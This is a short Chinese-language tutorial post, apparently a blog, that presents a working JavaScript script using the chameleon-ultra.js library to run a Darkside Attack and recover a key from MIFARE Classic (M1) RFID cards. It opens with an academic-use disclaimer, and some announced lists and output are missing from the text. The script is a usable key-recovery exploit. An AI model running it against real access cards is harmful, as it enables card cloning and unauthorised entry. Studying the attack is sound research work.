本文章的內容僅限學術及研究用途,請勿進行任何違法行為,否則後果自負。
來幫讀者複習一下,這個攻擊手法是利用了 M1 卡的兩個漏洞:
但不是所有的 M1 卡都會有這些漏洞,如果沒辦法使用 Darkside Attack,可以嘗試其他的攻擊手法。
進行 Darkside Attack 的流程為:
程式碼如下:
// 在測試網頁的開發者工具中執行 https://taichunmin.idv.tw/chameleon-ultra.js/test.html
await (async (ultra) => {
const { Buffer, DarksideStatus, Mf1KeyType } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/+esm')
const { default: Crypto1 } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/Crypto1/+esm')
const block = 0 // 指定要攻擊的區塊
const keyType = Mf1KeyType.KEY_A // 指定要攻擊的金鑰類型
// 定義進行 Darkside Attack 的函數
const fnAcquire = async attempt => {
// 進行 Darkside Attack
const acquired = await ultra.cmdMf1AcquireDarkside(block, keyType, attempt === 0)
// 顯示 Darkside Attack 的結果
console.log(_.mapValues(acquired, buf => Buffer.isBuffer(buf) ? buf.toString('hex') : buf))
// 如果剛好猜中金鑰,就無法計算 Darkside Attack 的結果
if (acquired.status === DarksideStatus.LUCKY_AUTH_OK) throw new Error('LUCKY_AUTH_OK')
// 如果卡片無法執行 Darkside Attack,則拋出錯誤
if (acquired.status !== DarksideStatus.OK) throw new Error('card is not vulnerable to Darkside attack')
return acquired // 回傳 Darkside Attack 的結果
}
// 定義驗證金鑰的函數
const fnCheckKey = async key => {
// 驗證金鑰是否正確
return await ultra.cmdMf1CheckBlockKey({ block, keyType, key })
}
// 使用 Crypto1 庫進行 Darkside Attack 並取得金鑰
const key = await Crypto1.darkside(fnAcquire, fnCheckKey)
console.log(`key found: ${key.toString('hex')}`) // 顯示找到的金鑰
})(vm.ultra)
如果你手上的卡片可以進行 Darkside Attack,執行結果如下:
但如果沒辦法使用也不用太氣餒,因為這個攻擊手法很容易被修正,所以比較新的卡片都沒有這個漏洞。